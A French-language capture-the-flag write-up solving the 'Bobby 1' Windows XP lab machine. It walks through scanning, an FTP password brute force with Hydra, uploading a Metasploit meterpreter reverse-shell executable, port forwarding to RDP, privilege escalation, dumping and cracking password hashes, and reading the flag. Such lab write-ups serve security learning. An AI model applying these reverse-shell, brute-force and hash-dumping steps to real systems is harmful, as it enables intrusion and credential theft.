Solution du CTF Bobby 1
Rédigé par devloop - -
Mise en place de la VM
Pour cette fois je me suis attaqué à un CTF sur Windows. Comment est-ce légalement possible ?Et bien tout simplement le challenge ne propose pas une machine virtuelle pour ce CTF mais un exécutable Windows (le VulnInjector) destiné à modifier un ISO de Windows XP SP3.
Le côté légal est donc laissé au participant qui doit disposer d'un ISO de ce système EN ANGLAIS (car l'exécutable se base sur AutoIt et s'attend à trouver un compte baptisé Administrator).
Vous devez disposer du framework .NET sur la machine pour que l'exécutable puisse fonctionner. L'opération de modification dure quelques minutes et vous aurez à saisir une product-key Windows valide.
Ensuite il ne vous restera plus qu'à mettre en place la machine virtuelle à partir de l'ISO modifié. Pour la configuration réseau privilégiez le mode bridged (ponté).
Le système est pré-configuré avec une adresse IP statique : 192.168.1.11.
Découverte
nmap -A -T4 192.168.1.11 Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-25 19:00 CET Nmap scan report for 192.168.1.11 Host is up (0.00028s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-bounce: no banner 80/tcp open http Microsoft IIS httpd 5.1 |_http-generator: MSHTML 8.00.6001.19154 | http-methods: Potentially risky methods: TRACE PUT DELETE |_See http://nmap.org/nsedoc/scripts/http-methods.html |_http-title: TheXero-01 443/tcp closed https MAC Address: 08:00:27:EB:5E:30 (Cadmus Computer Systems) Device type: general purpose Running: Microsoft Windows XP OS CPE: cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3 OS details: Microsoft Windows XP SP2 or SP3, Microsoft Windows XP SP3 Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE HOP RTT ADDRESS 1 0.28 ms 192.168.1.11 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.01 secondsLes ports 21 et 80 sont ouverts. Le reste des ports (en dehors du 443) sont filtrés, il y a donc un firewall présent pour protéger les services Windows habituels (Netbios, SMb...)
Est-ce qu'il y a des dossiers cachés sur le serveur web ? Utilisons dirb (un équivalent de DirBuster mais en console) pour s'en rendre compte :
./dirb http://192.168.1.11/ wordlists/big.txt ----------------- DIRB v2.21 By The Dark Raver ----------------- START_TIME: Tue Mar 25 19:01:45 2014 URL_BASE: http://192.168.1.11/ WORDLIST_FILES: wordlists/big.txt ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://192.168.1.11/ ---- + http://192.168.1.11/iisadmin (CODE:403|SIZE:4083) + http://192.168.1.11/printers (CODE:401|SIZE:4431) ----------------- DOWNLOADED: 20458 - FOUND: 2Rien d'intéressant au niveau de ces pages. Le dossier /printers/ requiert des identifiants qui ne semblent pas sensibles à une quelconque injection. De plus la page demande une authentification NTML donc probablement les identifiants Windows.
La page d'index du site est le blog d'un certain Bobby mais Bobby est un peu trop bavard :
On trouve d'autres informations en commentaire dans le code HTML :
Bobby sounds more 'me', not Robert/BobIl y a aussi le titre de la page qui est "TheXero-01"
On créé une petite wordlist rapide en se basant sur ces informations :
Bobby b0bby Matrix m4trix reloaded r3l04d3d Daft d4ft Punk Windows 3.1 Matrix reloaded Daft Punk Windows 3.1 Microsoft Neo n3o n30 Morpheus m0rph3us Trinity hacker hacker haxor TheXero-01 xero thexero robert bobPuis on génère une seconde wordlist basée sur celle-ci en appliquant des mutations via John The Ripper :
/opt/jtr/john --rules --wordlist=dico.txt --stdout > candidates.txtOn lance une attaque brute-force à l'aide de THC-Hydra. Après avoir testé différents logins (bobby, admin...) on trouve finalement le bon password pour l'utilisateur bob :
./hydra -l bob -P ../candidates.txt -t 1 ftp://192.168.1.11/ Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-03-25 21:16:08 [DATA] 1 task, 1 server, 835 login tries (l:1/p:835), ~835 tries per task [DATA] attacking service ftp on port 21 [21][ftp] host: 192.168.1.11 login: bob password: Matrix 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-03-25 21:16:08Attention le serveur FTP gère très mal la surcharge et avec le nombre de threads par défaut de Hydra il retournait souvent une erreur 421.
> ftp 192.168.1.11 Connected to 192.168.1.11. 220 Microsoft FTP Service Name (192.168.1.11): bob 331 Password required for bob. Password: 230 User bob logged in. Remote system type is Windows_NT. ftp> ls 227 Entering Passive Mode (192,168,1,11,4,3). ^C receive aborted. Waiting for remote to finish abort. ftp> passive Passive mode: off; fallback to active mode: off. ftp> ls -alR 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. 03-25-14 06:56PM <:DIR> AdminScripts 03-25-14 06:56PM <:DIR> ftproot 03-25-14 06:56PM <:DIR> iissamples 03-25-14 06:56PM <:DIR> Scripts 03-25-14 06:56PM <:DIR> wwwroot .\AdminScripts: 04-02-07 09:40AM 85813 adsutil.vbs 07-21-01 02:21PM 4490 chaccess.vbs 07-21-01 02:21PM 2599 contftp.vbs 07-21-01 02:21PM 2623 contsrv.vbs 07-21-01 02:21PM 2596 contweb.vbs 07-21-01 02:21PM 5017 dispnode.vbs 07-21-01 02:21PM 2550 disptree.vbs 07-21-01 02:21PM 6258 findweb.vbs 07-21-01 02:21PM 7186 mkwebdir.vbs 07-21-01 02:21PM 2591 pauseftp.vbs 07-21-01 02:21PM 2615 pausesrv.vbs 07-21-01 02:21PM 2588 pauseweb.vbs 07-21-01 02:21PM 2593 startftp.vbs 07-21-01 02:21PM 2617 startsrv.vbs 07-21-01 02:21PM 2590 startweb.vbs 07-21-01 02:21PM 2584 stopftp.vbs 07-21-01 02:21PM 2608 stopsrv.vbs 07-21-01 02:21PM 2581 stopweb.vbs 07-21-01 02:21PM 6064 synciwam.vbs .\wwwroot: 12-08-11 01:56PM 272367 backgroup.jpg 12-10-11 02:55PM 101 hint.html 02-12-13 12:46PM 1228 index.html 226 Transfer complete.Le dossier AdminScripts semble contenir des fichiers par défaut pour une install IIS. Le wwwroot est bien sûr la racine web du site.
Dans le fichier hint.html on trouve le texte suivant :
#1 This very common Windows file is not downloaded or interpretered but rather executed server sideSoit ! On génère une backdoor Metasploit (un reverse-shell meterpreter) que l'on uploade sur le FTP (attention à être en mode binaire) :
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=9999 X > /tmp/rbd.exeOn met en place un handler d'écoute et on ouvre la page via le navigateur pour provoquer l'exécution :
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.3 LHOST => 192.168.1.3 msf exploit(handler) > set LPORT 9999 LPORT => 9999 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.3:9999 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.1.11 [*] Meterpreter session 1 opened (192.168.1.3:9999 -> 192.168.1.11:1061) at 2014-03-26 08:25:14 +0100 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System 4294967295 348 4 smss.exe 4294967295 396 348 csrss.exe 4294967295 420 348 winlogon.exe 4294967295 472 420 services.exe 4294967295 484 420 lsass.exe 4294967295 636 472 svchost.exe 4294967295 696 472 svchost.exe 4294967295 772 472 svchost.exe 4294967295 820 472 svchost.exe 4294967295 856 472 svchost.exe 4294967295 984 472 spoolsv.exe 4294967295 1040 420 logonui.exe 4294967295 1396 1580 rbd.exe x86 0 BOBBY\IUSR_BOBBY \\?\c:\inetpub\wwwroot\rbd.exe 1428 420 logon.scr 4294967295 1580 472 inetinfo.exe 4294967295 2012 472 alg.exe 4294967295 meterpreter > getuid Server username: BOBBY\IUSR_BOBBYMalheureusement le process est arrêté au bout d'un moment car le serveur web ou le navigateur génère un timeout (notre exécutable est traité comme un CGI).
Il faut que l'on relance un process séparément, ce qui peut se faire directement depuis la session meterpreter si on est assez rapide :
meterpreter > execute -f rbd.exe Process 756 created. meterpreter > background [*] Backgrounding session 2... msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.3:9999 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.1.11 [*] Meterpreter session 2 opened (192.168.1.3:9999 -> 192.168.1.11:1048) at 2014-03-25 22:17:02 +0100 meterpreter >Bien maintenant la connexion tient bon mais on ne peut pas faire grand chose avec nos droits en cours :
meterpreter > getprivs ============================================================ Enabled Process Privileges ============================================================ SeShutdownPrivilege SeChangeNotifyPrivilege SeUndockPrivilege meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > shell [-] stdapi_sys_process_execute: Operation failed: Access is denied.C'est du au faut que les droits dont on dispose sont ceux d'un IUSR (Internet User) qui doit être la correspondance IIS du nobody pour Apache/Unix.
Voyons voir ce qu'il y a d'autre comme services sur cette machine :
meterpreter > netstat Connection list =============== Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 1580/inetinfo.exe tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 1580/inetinfo.exe tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 696/svchost.exe tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System tcp 0.0.0.0:1025 0.0.0.0:* LISTEN 0 0 1580/inetinfo.exe tcp 0.0.0.0:3389 0.0.0.0:* LISTEN 0 0 636/svchost.exe tcp 127.0.0.1:1026 0.0.0.0:* LISTEN 0 0 2012/alg.exe tcp 192.168.1.11:139 0.0.0.0:* LISTEN 0 0 4/System tcp 192.168.1.11:1062 192.168.1.3:9999 ESTABLISHED 0 0 1224/rbd.exe tcp 127.0.0.1:1072 127.0.0.1:445 TIME_WAIT 0 0 0/[System Process] udp 0.0.0.0:500 0.0.0.0:* 0 0 484/lsass.exe udp 0.0.0.0:4500 0.0.0.0:* 0 0 484/lsass.exe udp 0.0.0.0:3456 0.0.0.0:* 0 0 1580/inetinfo.exe udp 0.0.0.0:445 0.0.0.0:* 0 0 4/System udp 127.0.0.1:123 0.0.0.0:* 0 0 772/svchost.exe udp 192.168.1.11:137 0.0.0.0:* 0 0 4/System udp 192.168.1.11:123 0.0.0.0:* 0 0 772/svchost.exe udp 192.168.1.11:138 0.0.0.0:* 0 0 4/System
Come get some
Essayons de mettre en place une route depuis Metasploit afin de pouvoir lancer un exploit SMB sur la port 445 local :msf exploit(handler) > route add 127.0.0.1 255.255.255.0 2 [*] Route added msf exploit(handler) > connect 127.0.0.1 445 [*] Connected to 127.0.0.1:445 ^Cmsf exploit(handler) >La redirection fonctionne :)
msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 127.0.0.1:9999 via the meterpreter on session 2 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2+ - lang:English [-] Could not determine the exact service pack [*] Auto-targeting failed, use 'show targets' to manually select oneet si on fixe la target :
[*] Started reverse handler on 127.0.0.1:9999 via the meterpreter on session 2 [-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)Bon, plusieurs possibilités : soit je fais quelque chose mal, soit l'ISO que j'ai est patché contre cette attaque, soit le VulnInjector a pris soin de patcher la faille d'une manière ou d'une autre...
Kansas City Shuffle
On va plutôt créer une redirection de port vers le service TSE (port 3389) et voir ce qu'on peut en faire :meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1 [*] Local TCP relay created: 0.0.0.0:3389 <:-> 127.0.0.1:3389On peut maintenant se connecter via TSE avec les même identifiants que pour le FTP (sous openSUSE il y a un client tout ce qu'il y a d'épuré).
Sous Metasploit, on relance le handler et depuis la session Windows on lance rbd.exe.
msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.3:9999 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.1.11 [*] Meterpreter session 3 opened (192.168.1.3:9999 -> 192.168.1.11:1094) at 2014-03-26 19:29:40 +0100 meterpreter > getuid Server username: BOBBY\bob meterpreter > getsystem ...got system (via technique 4). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY f7c6aa7200e401d1b8667e066d1822e0... [*] Obtaining the user list and keys... [*] Handle is invalid, retrying... [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY f7c6aa7200e401d1b8667e066d1822e0... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... Administrator:500:921988ba001dc8e1e1c7c53891cb0efa:e1270db1dd8bf1e32725729695aa1feb::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:0d5a495be0d12c5c0001826d12a103db:e63e0754cf4f25edc0918ca39e06cb46::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:460935cc09bcbec00cc9b37788db5a54::: bob:1003:66e5d5ae82299cb6aad3b435b51404ee:42865c72994c34e54d4c5d659fc15b10::: IUSR_BOBBY:1004:080d6ebbb9f70bc7b9fa1681c900a5b1:2c30939c170e28b5becd8c652425ea85::: IWAM_BOBBY:1005:519481f2f1ae0a2fa91d88c577b32453:713317229556300b105c82332af604b1:::Là on est entré comme dans du beurre :)
A partir de là on a le choix entre la méthode old-school de cassage de hash (a.k.a classic one way ticket to Fuckneckville) :
>/opt/jtr/john hash.txt Warning: detected hash type "lm", but the string is also recognized as "nt2" Use the "--format=nt2" option to force loading these as that type instead Warning: detected hash type "lm", but the string is also recognized as "nt" Use the "--format=nt" option to force loading these as that type instead Loaded 2 password hashes with no different salts (LM DES [128/128 BS AVX-16]) D12345 (Administrator:2) guesses: 1 time: 0:00:01:12 0.04% (3) c/s: 47036K trying: 3LUYN4N - 3LUYPTC P@SSW0R (Administrator:1) guesses: 2 time: 0:01:25:27 DONE (Wed Mar 26 15:06:06 2014) c/s: 46616K trying: P@SSWEG - P@SSWAU Warning: passwords printed above might be partial Use the "--show" option to display all of the cracked passwords reliablyLe mot de passe est p@ssword12345, on peut lancer un cmd.exe via runas.
Ou alors on continue avec notre meterpreter...
Si on obtient un shell et que l'on tente d'aller dans le dossier administrator, l'accès est refusé :(
C'est sans doute parce que l'on est dans un processus qui n'appartient pas à SYSTEM, on va donc déménager :
meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System x86 0 NT AUTHORITY\SYSTEM 176 360 ctfmon.exe x86 2 BOBBY\bob C:\WINDOWS\system32\ctfmon.exe 348 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 360 1868 explorer.exe x86 2 BOBBY\bob C:\WINDOWS\Explorer.EXE 396 348 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe 420 348 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe 472 420 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe 484 420 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 772 472 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 820 472 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe 1252 348 winlogon.exe x86 2 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe meterpreter > migrate 772 [*] Migrating from 768 to 772... [*] Migration completed successfully. meterpreter > shell Process 1188 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>cd "c:\documents and settings\administrator\desktop\" cd "c:\documents and settings\administrator\desktop\" C:\Documents and Settings\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is D031-5715 Directory of C:\Documents and Settings\Administrator\Desktop 03/25/2014 06:56 PM <:DIR> . 03/25/2014 06:56 PM <:DIR> .. 02/04/2013 03:25 PM 32 secret.txt 1 File(s) 32 bytes 2 Dir(s) 249,012,224 bytes free C:\Documents and Settings\Administrator\Desktop>type secret.txt type secret.txt ab74f8217d5619acb2b708c7bdc50748Terminated